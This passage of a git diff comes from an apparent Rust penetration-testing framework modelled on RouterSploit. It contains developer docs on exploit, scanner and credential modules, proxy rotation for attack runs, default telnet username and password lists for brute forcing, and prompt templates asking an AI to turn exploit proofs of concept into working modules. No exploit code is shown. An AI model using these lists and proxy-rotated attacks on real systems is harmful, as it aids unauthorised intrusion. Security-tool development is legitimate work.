-## ⚡ Async Support
-
-- The project uses `tokio` runtime and `reqwest` async client.
-- All modules can use `async fn run(...) -> Result<()>` safely.
-
----
-
-## 📡 HTTP Requests
-
-- Use `reqwest` for sending requests to the target:
-```rust
-let response = reqwest::get(&url).await?;
-```
-
-- Or with a custom client and headers/auth:
-```rust
-let client = reqwest::Client::new();
-let resp = client.post(&url).json(&data).send().await?;
-```
-
----
-
-## 🧪 Example Use Cases
-
-### CLI Mode
-
-```
-# Exploit a router
-cargo run -- --command exploit --module sample_exploit --target 192.168.0.1
-```
-
-### Shell Mode
-
-```
-rsf> use exploits/sample_exploit
-rsf> set target 192.168.0.1
-rsf> run
-```
-
----
-
-## 🧼 Resetting Shell State
-
-There is no persistent state between runs. All values (`module`, `target`) must be set each time unless you're adding support for config files or persistence.
-
----
-
-## 🔐 Real Exploit Integration
-
-To adapt a real-world CVE:
-
-- Convert the PoC into an async HTTP request
-- Simulate or validate the vulnerable response pattern
-- Follow the above module creation workflow
-
-If the exploit is based on open TCP/UDP, you can use `tokio::net::TcpStream` or `tokio::net::UdpSocket`.
-
----
-
-## 🛠️ Feature Ideas
-
-- 🧰 Add wordlist brute-forcers (like rockyou support)
-- 📄 Export results to a file
-- ⚡ Parallel scanning via `tokio::spawn`
-- 🔌 Plugin system for runtime module loading
-- 🔒 Encrypted config/profile saving
-- 🧪 Integration with Shodan/Censys APIs
-
----
-
-## 👥 Contributors
-
-- Main Developer: You.
-- Language: 100% Rust
-- Base Concept: Inspired by RouterSploit, Metasploit, and pwntools.
-
----
-
-Below is a **step-by-step** walkthrough of the proxy logic in the updated `shell.rs` whenever the user types `run`. It explains how the **retry mechanism** works, how a **new proxy** is selected after a failure, and how we **stop** when all proxies are exhausted.
-
----
-
-## 1. `run` Command Overview
-
-When the user types **`run`** in the shell:
-
-1. We check if there is a **selected module** (`current_module`) and a **target** (`current_target`). If either is missing, we prompt the user to set them.  
-
-2. If both are set:
-   - We look at whether **proxy usage** is **enabled** (`proxy_enabled = true`) and whether we have a **non-empty proxy list**.
-   - Based on this, we do one of the following:
-     - **Proxy is ON & we have proxies**: Attempt the exploit with **one or more** proxies in a loop (retrying).  
-     - **Proxy is ON & we have no proxies**: Just do a **direct** attempt (warn user).  
-     - **Proxy is OFF**: Only do a **direct** attempt.  
-
----
-
-## 2. When Proxy is ON (and Proxies Are Loaded)
-
-If `proxy_enabled == true` and `proxy_list` is **not** empty, the `run` logic does this:
-
-1. **Create** a `HashSet<String>` called `tried_proxies` – this will track which proxies we have already used and failed on.
-
-2. **Loop** until either:
-   - We **succeed** with a proxy, or  
-   - We have tried **all** proxies in `proxy_list`.
-
-3. **Pick a Random Proxy**  
-   - We call `pick_random_untried_proxy(&ctx.proxy_list, &tried_proxies)`.  
-   - This function filters out any proxies that are already in `tried_proxies` (i.e., ones that failed previously).  
-   - It then chooses **one** from the remaining pool **at random**.  
-   - If all have been tried, it falls back to picking *any* random proxy from the full list (ensuring no panic).
-
-4. **Set `ALL_PROXY` Environment Variable**  
-   - We call `set_all_proxy_env(&chosen_proxy)`.  
-   - Inside that function, we do:  
-     ```rust
-     env::set_var("ALL_PROXY", proxy);
-     ```
-   - Because your exploit modules use `reqwest` (with the `socks` feature), **any** request they make automatically goes through that proxy (whether it’s HTTP, HTTPS, SOCKS4, or SOCKS5).
-
-5. **Run the Module**  
-   ```rust
-   match commands::run_module(module_path, t).await {
-       Ok(_) => { ... }
-       Err(e) => { ... }
-   }
-   ```
-   - This calls the real exploit/scanner/cred module. The module tries to send its requests.  
-   - Because `ALL_PROXY` is set, **all** of its traffic routes through the chosen proxy.  
-
-6. **Check the Result**  
-   - If it returns `Ok(())`, that means the exploit **did not** fail at the top level. We **break** the loop and stop retrying.  
-   - If it returns `Err(e)`, we:
-     1. Print an error message.  
-     2. Add the **chosen proxy** to `tried_proxies`.  
-     3. Repeat the loop, picking a new untried proxy.  
-
-7. **Exhausting All Proxies**  
-   - If we eventually try **every** proxy in `proxy_list` (i.e., `tried_proxies.len() == ctx.proxy_list.len()`) and **still** fail, we exit the loop.  
-
-8. **Final Fallback: Direct Attempt**  
-   - If we never got a success, we do a **final** attempt **without** any proxy:  
-     ```rust
-     clear_proxy_env_vars();
-     commands::run_module(module_path, t).await;
-     ```
-   - That either succeeds or fails. If it fails, we simply print the error and continue (or end).  
-
----
-
-## 3. When Proxy is ON but No Proxies Are Loaded
-
-If `proxy_enabled == true` but `proxy_list` is empty:
-
-1. We **cannot** pick a proxy, so we simply show a warning:
-   ```
-   [!] No proxies loaded, but proxy is ON. Doing direct attempt...
-   ```
-2. We call `clear_proxy_env_vars()` to ensure we’re not using a stale proxy environment variable.
-3. We run the module once. No retries occur here.
-
----
-
-## 4. When Proxy is OFF
-
-If `proxy_enabled == false`, we do a **single** direct attempt:
-
-1. `clear_proxy_env_vars()` is called to remove any existing proxy environment variables.  
-2. `commands::run_module(module_path, t).await` is called.  
-3. If it fails, we just print the error. We do **not** retry.
-
----
-
-## 5. Summarizing the Retry Logic
-
-Below is a simplified flowchart of the “**Proxy is ON & Proxies Are Loaded**” scenario:
-
-```
-+--------------------------+
-| Start 'run' command      |
-+--------------------------+
-          |   (Check if module & target are set)
-          v
-+-------------------------------+
-| tried_proxies = empty set    |
-+-------------------------------+
-          |
-          | while tried_proxies.len() < proxy_list.len():
-          v
-+--------------------------------------------------+
-| pick_random_untried_proxy(proxy_list, tried_set) |
-+--------------------------------------------------+
-          |
-          | set_all_proxy_env(chosen_proxy)
-          v
-+-----------------------------------------+
-| run_module(module_path, target) => Err? |
-+-----------------------------------------+
-          |            |
-      (Ok) |            | (Err)
-          v            v
-        (Stop)     tried_proxies.insert(chosen_proxy)
-                        (loop again)
-
-If we exit the loop with no success:
-  => clear_proxy_env_vars()
-  => do a final direct run_module()
-```
-
-Hence, after each failure, we remove that proxy from the candidate pool and pick a new one. We do **not** pick the same failing proxy again. If, after exhausting **all** proxies, everything fails, we do one **direct** attempt with no proxy.
-
----
-
-## 6. Why This Requires No Changes to Exploit Modules
-
-- **All** changes happen at the shell level (the `run` command).  
-- Each time we call `commands::run_module(...)`, we have **already** set the environment variable `ALL_PROXY`.  
-- The exploit modules (e.g., `sample_exploit.rs`) simply use `reqwest` without knowing or caring about proxies.  
-- `reqwest` automatically checks `ALL_PROXY` and routes traffic accordingly.  
-- If that proxy fails for any reason (connection refused, times out, etc.), `run_module(...)` returns an error to the shell, triggering the **retry** logic.  
-
----
-
-## 7. Practical Considerations
-
-1. **Module-Level vs. Shell-Level Retries**  
-   - We do an entire “exploit run” in one attempt. If the exploit tries multiple sub-requests and fails halfway, from the shell’s perspective it’s just one run that failed.  
-   - We then pick a new proxy and re-run from scratch.  
-
-2. **Timeouts**  
-   - If a proxy is **very** slow or dead, you may not get an error for a while (unless your module sets timeouts).  
-   - Consider setting a **short** timeout in your modules if you want to quickly detect non-functional proxies.  
-
-3. **Full Proxy Exhaustion**  
-   - If every proxy fails, we do a final direct attempt. If that also fails, we give up.  
-
-4. **Thread-Safety**  
-   - Because we’re doing everything in a single-threaded loop, environment-variable changes are straightforward.  
-   - In a multi-threaded scenario, changing `ALL_PROXY` globally might cause conflicts or race conditions.  
-
----
-
-## 8. Final Summary
-
-1. **User** types `run`.  
-2. If **proxy is on** and there are proxies in the list, the shell tries them **one by one** (random order), setting `ALL_PROXY` each time and calling `run_module`.  
-3. On each **failure**, the shell adds that proxy to a “tried” set and repeats with a **new** proxy.  
-4. If the user **exhausts** all proxies (they all fail), the shell **finally** attempts a **direct** run (no proxy).  
-5. If the exploit **succeeds** at any point, we **stop** retrying.  
-6. This entire sequence requires **no changes** to the exploit modules, as they already rely on `reqwest`, which automatically respects `ALL_PROXY`.
-
-That’s the logic behind automatic proxy retries for failing requests!

docs/readme.md

@@ -0,0 +1,253 @@
+# 🛠️ Rustsploit Developer Guide
+
+> Reference manual for maintainers and contributors. Covers the architecture, build-time module discovery, shell ergonomics, proxy plumbing, and authoring guidelines for exploits, scanners, and credential modules.
+
+---
+
+## Table of Contents
+
+1. [Project Overview](#project-overview)  
+2. [Code Layout](#code-layout)  
+3. [Build Pipeline & Module Discovery](#build-pipeline--module-discovery)  
+4. [Shell Architecture](#shell-architecture)  
+5. [Proxy Subsystem](#proxy-subsystem)  
+6. [Command-Line Interface](#command-line-interface)  
+7. [Authoring Modules](#authoring-modules)  
+8. [Credential Modules: Best Practices](#credential-modules-best-practices)  
+9. [Exploit Modules: Best Practices](#exploit-modules-best-practices)  
+10. [Utilities & Helpers](#utilities--helpers)  
+11. [Testing & QA](#testing--qa)  
+12. [Roadmap & Ideas](#roadmap--ideas)  
+
+---
+
+## Project Overview
+
+Rustsploit is a Rust-first re-imagining of RouterSploit:
+
+- Async-native (Tokio) for scalable brute forcing and network IO
+- Auto-discovered modules categorized as `exploits`, `scanners`, and `creds`
+- Interactive shell + CLI runner referencing the same dispatch layer
+- Proxy-aware execution with run-time rotation, validation, and fallback logic
+- IPv4/IPv6-friendly: target normalization happens uniformly
+- Carefully colored, concise output designed for operators on remote consoles
+
+---
+
+## Code Layout
+
+```text
+rustsploit/
+├── Cargo.toml
+├── build.rs                 # Generates dispatcher code by scanning src/modules
+├── src/
+│   ├── main.rs              # Entry point, selects CLI or shell mode
+│   ├── cli.rs               # Clap-based CLI parser and dispatcher
+│   ├── shell.rs             # Interactive shell loop + UX helpers
+│   ├── commands/            # Dispatch glue for exploits/scanners/creds
+│   │   ├── mod.rs
+│   │   ├── exploit.rs
+│   │   ├── exploit_gen.rs   # build.rs output
+│   │   ├── scanner.rs
+│   │   ├── scanner_gen.rs   # build.rs output
+│   │   ├── creds.rs
+│   │   └── creds_gen.rs     # build.rs output
+│   ├── modules/             # Fully auto-discovered attack modules
+│   │   ├── exploits/
+│   │   ├── scanners/
+│   │   └── creds/
+│   └── utils.rs             # Shared helpers (proxy parsing, module lookup, etc.)
+├── docs/
+│   └── readme.md            # This document
+├── lists/
+│   ├── readme.md            # Wordlist + data file catalogue
+│   ├── rtsp-paths.txt
+│   └── rtsphead.txt
+└── README.md                # Product overview
+```
+
+Key takeaway: modules are just Rust files under `src/modules/**`. Add `pub mod my_module;` in the local `mod.rs`, and the build script handles the rest.
+
+---
+
+## Build Pipeline & Module Discovery
+
+1. **`build.rs` scan:** Before compilation, build.rs walks `src/modules` (depth-limited) looking for `.rs` files that are not `mod.rs`.
+2. **Signature detection:** If a file exposes `pub async fn run(`, it is treated as a callable module.
+3. **Name generation:** Both a *short name* (`ssh_bruteforce`) and *qualified path* (`creds/generic/ssh_bruteforce`) are registered.
+4. **Dispatcher emission:** Three files (`exploit_gen.rs`, `scanner_gen.rs`, `creds_gen.rs`) are emitted with exhaustive `match` statements that map names → `use crate::modules::...::run`.
+5. **Shell + CLI usage:** When users invoke `use exploits/foo` or `--module foo`, the dispatcher resolves the actual function.
+
+Because the dispatcher is generated at build time, there is no manual registry drift as long as modules live in the right folder and export `run`.
+
+---
+
+## Shell Architecture
+
+The shell lives in `src/shell.rs`. Highlights:
+
+- **Context:** `ShellContext` stores `current_module`, `current_target`, the loaded `proxy_list`, and `proxy_enabled` boolean.
+- **Prompt helpers:** Inline functions prompt for paths, yes/no decisions, timeouts, etc.
+- **Shortcut parsing:** `split_command` + `resolve_command` normalize input (e.g., `f1 ssh`, `pon`, `ptest`) to canonical keys.
+- **Command palette:** `render_help()` prints a colorized table for quick reference.
+- **Proxy tests:** `proxy_test` command triggers async validation via utils.
+- **Run pipeline:** On `run`/`go`, the shell enforces:
+  - Module selected
+  - Target set
+  - Proxy state respected (rotate until success or fallback direct)
+  - Environment variables (`ALL_PROXY`, `HTTP_PROXY`, `HTTPS_PROXY`) set/cleared per attempt
+- **State reset:** On exit, nothing is persisted intentionally for OPSEC.
+
+Extensions (tab completion, history) can be added by wrapping the loop with a line-editor crate, but are omitted today to keep dependencies minimal.
+
+---
+
+## Proxy Subsystem
+
+Implemented in `utils.rs` and surfaced in the shell.
+
+- **Loader:** `load_proxies_from_file` reads lists, normalizes schemes (defaulting to `http://`), validates host/port via `Url`, and tolerates comments or blank lines. Returns both valid entries and a list of parse errors (line number, reason).
+- **Supported schemes:** `http`, `https`, `socks4`, `socks4a`, `socks5`, `socks5h`.
+- **Tester:** `test_proxies` concurrently (Tokio) checks a user-chosen URL using `reqwest::Proxy::all`. Configurable timeout and max concurrency.
+- **Result:** Working proxies are retained; failures are reported with the reason (connection refused, invalid cert, etc.).
+- **Integration:** Shell invites the user to validate immediately after loading; `proxy_test` can also be used on demand.
+
+Proxies are set globally via environment variables so both module HTTP requests and low-level sockets (if they honor `ALL_PROXY`) benefit.
+
+---
+
+## Command-Line Interface
+
+`src/cli.rs` uses Clap to expose three commands:
+
+- `--command exploit|scanner|creds`
+- `--module <name>` (short or qualified, same mapping as the shell)
+- `--target <host|IP>`
+
+Example:
+
+```bash
+cargo run -- --command exploit --module heartbleed --target 203.0.113.12
+```
+
+If the module needs additional parameters, it can prompt interactively (e.g., brute-force modules ask for wordlists even in CLI mode). For automated pipelines, modules should provide sensible defaults or accept environment variables.
+
+---
+
+## Authoring Modules
+
+Every module must export:
+
+```rust
+use anyhow::Result;
+
+pub async fn run(target: &str) -> Result<()> {
+    // ...
+    Ok(())
+}
+```
+
+Guidelines:
+
+1. **Location:** choose one of `src/modules/{exploits,scanners,creds}`. Use subfolders for vendor families (e.g., `exploits/cisco/`).
+2. **`mod.rs`:** add `pub mod your_module;` in the sibling `mod.rs`. Without this, the build script ignores the file.
+3. **Async I/O:** prefer `reqwest`, `tokio::net`, `tokio::process`, etc. Synchronous blocking code should be wrapped with `tokio::task::spawn_blocking` where possible (see SSH module).
+4. **Logging:** leverage `colored` for clarity, but keep messages short and actionable. Use `[+]`, `[-]`, `[!]`, `[*]` prefixes consistently.
+5. **Error handling:** bubble up with context (`anyhow::Context`) so the shell/CLI surface meaningful errors.
+6. **Wordlists / resources:** store under `lists/` and document them in `lists/readme.md`.
+7. **Optional interactive mode:** If the module benefits from multiple code paths, optionally expose `run_interactive` and call it from `run`.
+
+### Example skeleton
+
+```rust
+use anyhow::{Context, Result};
+
+pub async fn run(target: &str) -> Result<()> {
+    println!("[*] Checking {}", target);
+
+    let url = format!("http://{}/status", target);
+    let body = reqwest::get(&url)
+        .await
+        .with_context(|| format!("failed to reach {}", url))?
+        .text()
+        .await
+        .context("failed to fetch body")?;
+
+    if body.contains("vulnerable") {
+        println!("[+] {} appears vulnerable", target);
+    } else {
+        println!("[-] {} not vulnerable", target);
+    }
+
+    Ok(())
+}
+```
+
+---
+
+## Credential Modules: Best Practices
+
+Modules like FTP/SSH/Telnet/POP3/SMTP/RTSP/RDP follow shared patterns:
+
+- **Input prompts:** ask for port, username/password wordlists, concurrency limit, stop-on-success toggle, output file, verbose logging.
+- **Sanitation:** trim wordlist entries, skip blanks, provide early exits if lists are empty.
+- **Concurrency:**
+  - Use `tokio::Semaphore` for asynchronous modules (FTP, SSH).
+  - Use `threadpool` + `crossbeam-channel` for synchronous protocols (Telnet, POP3, SMTP).
+- **Adaptive throttling:** Some modules (FTP) sample CPU/RAM to avoid saturating the host.
+- **TLS/STARTTLS:** Accept invalid certs for offensive tooling convenience, but note this clearly.
+- **Result persistence:** Offer to write `host -> user:pass` pairs to a local file (in `./` by default).
+- **IPv6:** Use helpers like `format_addr` to wrap IPv6 addresses in brackets and support port suffixes.
+
+---
+
+## Exploit Modules: Best Practices
+
+- **CVE referencing:** mention CVE IDs and vendor/product in comments and output.
+- **Artifact handling:** If the exploit downloads or writes files (e.g., Heartbleed dump), store them in the current working directory or a named subfolder.
+- **Clean-up:** If credentials or accounts are added (Abus camera module), explain the impact and clean-up instructions in output or comments.
+- **Safety checks:** Validate responses before declaring success; false positives hurt credibility.
+- **Options:** Use `prompt_*` helpers (borrow from existing modules) if end-user input is needed (e.g., RTSP advanced headers, extra path lists).
+
+---
+
+## Utilities & Helpers
+
+`src/utils.rs` provides:
+
+- `normalize_target`: wrap IPv6 addresses in brackets, pass through IPv4/hosts untouched.
+- `module_exists` / `list_all_modules` / `find_modules`: used by shell to present module inventory.
+- Proxy helpers described earlier (`load_proxies_from_file`, `test_proxies`, etc.).
+
+Feel free to expand this file with reusable pieces (e.g., credential loader, HTTP header templates) to avoid duplication inside modules.
+
+---
+
+## Testing & QA
+
+1. **Static checks:** `cargo fmt` and `cargo clippy` (where available).
+2. **Build:** `cargo check` ensures new modules compile.
+3. **Runtime smoke tests:**
+   - Shell: `cargo run` → `modules` → run a harmless module (e.g., `scanners/sample_scanner`).
+   - CLI: `cargo run -- --command scanner --module sample_scanner --target 127.0.0.1`.
+4. **Proxy validation:** Load a mixed proxy file and confirm `proxy_test` filters entries correctly.
+5. **Wordlists:** Validate that required lists exist (e.g., RTSP paths) and are referenced in docstrings.
+
+When adding new modules, include short usage documentation (stdout prints, README notes) so other operators know how to drive them.
+
+---
+
+## Roadmap & Ideas
+
+- Interactive shell improvements (history, tab completion, colored banners)
+- Automated module testing harness (mock servers for POP3/SMTP/RTSP)
+- Credential module templates (derive-style macros for common prompts)
+- Integration with external wordlists (dynamic download or git submodules)
+- Session logging (`tee` support) and output JSON export for pipeline ingestion
+- Transport abstractions for UDP/DoS modules
+
+Contributions are welcome—open an issue or start a discussion before large refactors.
+
+---
+
+Happy hacking, and remember: **authorized testing only**. Commit messages and module descriptions should always reflect controlled research usage. !*** End Patch

extra.txt

@@ -0,0 +1,75 @@
+Required Signature
+
+The module must contain this exact public async function:
+
+pub async fn run(target: &str) -> anyhow::Result<()>
+
+Or any variant like:
+
+pub async fn run(_target: &str) -> anyhow::Result<()>
+
+Or even:
+
+pub async fn run(host: &str) -> anyhow::Result<()>
+
+
+Refactor this module to work with the auto-dispatch system. Do not remove any functionality or features. Make sure it defines a pub async fn run(target: &str) -> Result<()> entry point that internally calls the correct logic. Rename any conflicting functions if needed, but preserve all capabilities and structure.
+
+
+Refactor this code to a Rust module  so that it fully integrates into my RouterSploit-inspired Rust auto-dispatch framework.
+
+    ✅ Preserve all functionality and existing logic — do not remove or simplify any capabilities.
+
+    ✅ Ensure the module defines a pub async fn run(target: &str) -> Result<()> entry point.
+
+        All internal logic must be routed through this function.
+
+    ✅ If any internal function is named run and conflicts with the dispatch entry, rename it (e.g. to execute, exploit, etc.) — but do not change logic.
+
+    ✅ The module must compile, follow anyhow::Result<()>, and use proper error propagation (? operator).
+
+    ✅ Do not add placeholders, pseudocode, or stubs — this must be real working Rust code.
+
+    ✅ Use async/await and retain all networking, parsing, and exploit behavior from the original logic.
+
+    ✅ Keep the code idiomatic and modular — preserve structure, variable naming, and async HTTP usage.
+
+    ✅ If necessary, clean up variable scoping or imports, but never remove real features.
+
+    ✅ keep all comments from the orginal but add two / before comments
+
+    ✅ only use the poc and it must be a 1 to 1 convertion
+
+Here is the original module that needs to be refactored:
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Strict Requirements:
+
+    The code must be 100% pure Rust, fully compatible with Linux operating systems.
+
+    The entire driver must use asynchronous Rust throughout (async/await and appropriate crates), enabling non-blocking, concurrent communication with multiple devices.
+
+    Do not include any comments, explanations, docstrings, sample usage, placeholder code, TODOs, or example outputs. The output must be only the actual source code required for a complete and functional driver.
+
+    The output must be a single, fully compilable Rust source file, containing all necessary use statements, async functions, modules, structs, enums, and logic to support end-to-end operation.
+
+ 

lists/about.txt

@@ -1 +0,0 @@
-just lists like word lists

lists/readme.md

@@ -0,0 +1,33 @@
+# 📚 Rustsploit Data Files
+
+This directory contains reference lists and helper payloads consumed by modules under `src/modules/**`. Keep this README up to date whenever a new list is added so operators understand the expected format and typical usage.
+
+---
+
+## Available Files
+
+| File | Used By | Description |
+|------|---------|-------------|
+| `rtsp-paths.txt` | `creds/generic/rtsp_bruteforce_advanced.rs` | Candidate RTSP paths to brute force when enumerating stream URLs (e.g., `/live.sdp`, `/Streaming/channels/101`). One entry per line; comments can be added with `#` at the start of a line. |
+| `rtsphead.txt` | `creds/generic/rtsp_bruteforce_advanced.rs` | Optional RTSP header templates. When the user enables “advanced headers,” the module loads this file and injects each header line into outbound requests. Keep headers in `Key: Value` form. |
+
+---
+
+## Contributing Lists
+
+1. **Naming:** Use lowercase and hyphens (`my-new-list.txt`) to remain compatible across platforms.
+2. **Format:** Prefer plain UTF-8 text. Comment lines should start with `#` or `//` so loaders can skip them.
+3. **Documentation:** Update this README with a row describing the file, the consuming module, and expected contents.
+4. **Usage in modules:** Reference lists with relative paths or prompt the user for the filename. Most modules expect the user to supply the path (allowing custom lists), but shipping defaults in this directory helps bootstrap new users.
+5. **Attribution:** If a list leverages community sources (e.g., SecLists), note that in the table and ensure licenses permit redistribution.
+
+---
+
+## Ideas for Future Lists
+
+- `ftp-default-creds.txt` for anonymous login checks
+- `telnet-banners.txt` to fingerprint devices before brute forcing
+- `http-admin-panels.txt` for web interface discovery scanners
+- Vendor-specific RTSP or ONVIF endpoint lists
+
+Pull requests welcome—please include both the data file and an entry here. !*** End Patch

lists/telnet-default/empty.txt

@@ -0,0 +1 @@
+

lists/telnet-default/passwords.txt

@@ -0,0 +1,20 @@
+admin
+password
+123456
+1234
+root
+toor
+guest
+default
+admin123
+adminadmin
+pass
+changeme
+password1
+cisco
+ubnt
+support
+12345
+qwerty
+letmein
+test

lists/telnet-default/usernames.txt

@@ -0,0 +1,20 @@
+admin
+root
+user
+administrator
+guest
+support
+operator
+supervisor
+admin1
+root1
+manager
+service
+master
+tech
+sysadmin
+default
+cisco
+ubnt
+pi
+test

scripts/setup_docker.py

@@ -0,0 +1,327 @@
+#!/usr/bin/env python3
+"""
+Interactive generator for RustSploit Docker-Compose stack.
+Produces:
+  docker-compose.rustsploit.yml (with embedded Dockerfile)
+  .env.rustsploit-docker
+and prints the command to bring the stack up.
+
+This variant includes runtime fixes to avoid permission-denied on /app/data
+and ensures the container starts as root briefly to fix ownership, then
+executes the rustsploit binary as the less-privileged `rustsploit` user.
+"""
+import secrets
+import os
+import stat
+import socket
+import ipaddress
+import subprocess
+import pwd
+from pathlib import Path
+
+# Fix: Use parent.parent since script is in scripts/ directory
+repo = Path(__file__).resolve().parent.parent
+if not (repo / "Cargo.toml").exists():
+    print("[-] Error: Run this script from the RustSploit repository root.")
+    print(f"    Expected Cargo.toml at: {repo / 'Cargo.toml'}")
+    exit(1)
+
+# ---------- Helper functions ----------
+def ask(prompt, default=None, validator=None):
+    """Interactive prompt with validation."""
+    suffix = f" [{default}]" if default is not None else ""
+    while True:
+        val = input(f"{prompt}{suffix}: ").strip()
+        if not val and default is not None:
+            val = default
+        if not val:
+            print("Value cannot be empty.")
+            continue
+        if validator:
+            try:
+                validator(val)
+            except ValueError as e:
+                print(f"Invalid input: {e}")
+                continue
+        return val
+
+
+def ask_yes_no(prompt, default=True):
+    """Yes/No prompt."""
+    hint = "Y/n" if default else "y/N"
+    while True:
+        val = input(f"{prompt} ({hint}): ").strip().lower()
+        if not val:
+            return default
+        if val in ("y", "yes"):
+            return True
+        if val in ("n", "no"):
+            return False
+        print("Please answer 'y' or 'n'.")
+
+
+def validate_host(host):
+    """Validate host/IP address."""
+    host = host.strip()
+    if not host:
+        raise ValueError("Host cannot be empty")
+    # Allow localhost
+    if host == "localhost":
+        return
+    # Try to parse as IP
+    try:
+        ipaddress.ip_address(host)
+    except ValueError:
+        # Not a valid IP, check if it's a valid hostname
+        if len(host) > 253:
+            raise ValueError("Hostname too long (max 253 chars)")
+        if any(c.isspace() for c in host):
+            raise ValueError("Hostname cannot contain whitespace")
+
+
+def validate_port(port_str):
+    """Validate port number."""
+    try:
+        port = int(port_str)
+        if not (1 <= port <= 65535):
+            raise ValueError("Port must be between 1 and 65535")
+    except ValueError as e:
+        if "invalid literal" in str(e):
+            raise ValueError("Port must be a number")
+        raise
+
+
+def detect_private_ip():
+    """Try to detect private IP address."""
+    try:
+        with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as sock:
+            sock.connect(("192.0.2.1", 80))
+            return sock.getsockname()[0]
+    except OSError:
+        return None
+
+# ---------- Interactive prompts ----------
+print("\n[+] RustSploit Docker Setup\n")
+
+# Host selection
+print("Select bind address:")
+print("  [1] 127.0.0.1 (localhost only)")
+print("  [2] 0.0.0.0 (all interfaces)")
+print("  [3] Private LAN IP (auto-detect)")
+print("  [4] Custom IP/hostname")
+
+choice = ask("Choice", "2")
+if choice == "1":
+    host = "127.0.0.1"
+elif choice == "2":
+    host = "0.0.0.0"
+elif choice == "3":
+    detected = detect_private_ip()
+    if detected:
+        print(f"[+] Detected private IP: {detected}")
+        use_detected = ask_yes_no("Use detected IP?", True)
+        host = detected if use_detected else ask("Enter IP/hostname", validator=validate_host)
+    else:
+        print("[-] Could not auto-detect private IP")
+        host = ask("Enter IP/hostname", validator=validate_host)
+else:
+    host = ask("Enter IP/hostname", validator=validate_host)
+
+# Port
+# Default changed to 9000 as this is a common API port and matches user's prior usage
+port_str = ask("Host port to expose", "9000", validator=validate_port)
+port = int(port_str)
+
+# API Key
+print("\n[+] API Key Configuration")
+generate_key = ask_yes_no("Generate random API key?", True)
+if generate_key:
+    api_key = secrets.token_urlsafe(32)
+    print(f"[+] Generated API key: {api_key}")
+else:
+    api_key = ask("Enter API key (ASCII, max 128 chars)", validator=lambda k: None if (len(k) <= 128 and all(32 <= ord(c) <= 126 for c in k)) else ValueError("API key must be printable ASCII, max 128 chars"))
+
+# Hardening
+print("\n[+] Security Hardening")
+harden = ask_yes_no("Enable API hardening (auto-rotate key on suspicious activity)?", False)
+ip_limit = 10
+if harden:
+    ip_limit_str = ask("Max unique IPs before rotation", "10", validator=lambda v: validate_port(v) if v else None)
+    ip_limit = int(ip_limit_str)
+
+# ---------- File generation ----------
+env_file = ".env.rustsploit-docker"
+compose_file = "docker-compose.rustsploit.yml"
+
+env_path = repo / env_file
+compose_path = repo / compose_file
+
+# Check for existing .env file
+if env_path.exists():
+    print(f"\n[!] Warning: {env_path.relative_to(repo)} already exists.")
+    if not ask_yes_no("Overwrite .env file?", False):
+        print("[-] Aborted.")
+        exit(0)
+
+# Check for existing docker-compose file
+if compose_path.exists():
+    print(f"\n[!] Warning: {compose_path.relative_to(repo)} already exists.")
+    if not ask_yes_no("Overwrite docker-compose file?", False):
+        print("[-] Aborted.")
+        exit(0)
+
+# ---- .env ----
+container_interface = f"0.0.0.0:{port}"
+env_content = f"""RUSTSPLOIT_INTERFACE={container_interface}
+RUSTSPLOIT_API_KEY={api_key}
+RUSTSPLOIT_HARDEN={"true" if harden else "false"}
+RUSTSPLOIT_IP_LIMIT={ip_limit}
+"""
+env_path.write_text(env_content)
+# Set permissions: owner read/write only (0600) to keep API key private while still readable by docker-compose
+os.chmod(env_path, stat.S_IRUSR | stat.S_IWUSR)
+print(f"\n[+] Generated: {env_path}")
+
+# Fix ownership if file was created with sudo (owned by root)
+if env_path.stat().st_uid == 0:
+    print("[!] File was created as root. Fixing ownership...")
+    try:
+        # Get the actual user (SUDO_USER if running via sudo, otherwise current user)
+        user = os.environ.get('SUDO_USER') or os.environ.get('USER')
+        if not user:
+            user = pwd.getpwuid(os.getuid()).pw_name
+        
+        # If we're running as root (via sudo), we can chown directly
+        if os.geteuid() == 0:
+            user_info = pwd.getpwnam(user)
+            os.chown(env_path, user_info.pw_uid, user_info.pw_gid)
+            print(f"[+] Ownership fixed: {user}:{user}")
+        else:
+            # Not root, need to use sudo
+            subprocess.run(['sudo', 'chown', f'{user}:{user}', str(env_path)], check=True)
+            print(f"[+] Ownership fixed: {user}:{user}")
+    except (subprocess.CalledProcessError, FileNotFoundError, KeyError) as e:
+        print(f"[!] Warning: Could not automatically fix ownership: {e}")
+        print(f"    Please run manually: sudo chown $USER:$USER {env_path}")
+
+# ---- docker-compose.yml with embedded Dockerfile ----
+# Note: The serve stage runs the entrypoint as root so it can fix ownership of
+# /app/data at container startup, then it drops privileges and executes the
+# rustsploit binary as the less-privileged `rustsploit` user via runuser.
+
+dockerfile_content = """FROM rust:1.83-slim AS builder
+WORKDIR /workspace
+ENV CARGO_TERM_COLOR=always
+
+RUN apt-get update \\
+    && apt-get install -y --no-install-recommends \\
+        build-essential \\
+        pkg-config \\
+        libssl-dev \\
+        libclang-dev \\
+        libpcap-dev \\
+        libsqlite3-dev \\
+    && rm -rf /var/lib/apt/lists/*
+
+COPY Cargo.toml ./
+COPY Cargo.lock* ./
+
+COPY . .
+RUN cargo build --release --bin rustsploit
+
+FROM debian:bookworm-slim AS serve
+RUN apt-get update \\
+    && apt-get install -y --no-install-recommends ca-certificates util-linux \\
+    && rm -rf /var/lib/apt/lists/*
+
+# create non-root user
+RUN useradd --system --home /app --shell /usr/sbin/nologin rustsploit
+WORKDIR /app
+
+# create data dir (image-level), but runtime entrypoint will chown the volume target
+RUN mkdir -p /app/data && chown rustsploit:rustsploit /app/data
+
+COPY --from=builder /workspace/target/release/rustsploit /usr/local/bin/rustsploit
+
+# entrypoint runs as root (default) so it can fix ownership of mounted volumes
+RUN echo '#!/bin/sh' > /entrypoint.sh && \\
+    echo 'set -e' >> /entrypoint.sh && \\
+    echo 'ARGS="--api --api-key \"${RUSTSPLOIT_API_KEY}\" --interface \"${RUSTSPLOIT_INTERFACE}\""' >> /entrypoint.sh && \\
+    echo 'if [ "\"$RUSTSPLOIT_HARDEN\"" = "\"true\"" ]; then' >> /entrypoint.sh && \\
+    echo '  ARGS="$ARGS --harden"' >> /entrypoint.sh && \\
+    echo '  if [ -n "\"$RUSTSPLOIT_IP_LIMIT\"" ]; then' >> /entrypoint.sh && \\
+    echo '    ARGS="$ARGS --ip-limit $RUSTSPLOIT_IP_LIMIT"' >> /entrypoint.sh && \\
+    echo '  fi' >> /entrypoint.sh && \\
+    echo 'fi' >> /entrypoint.sh && \\
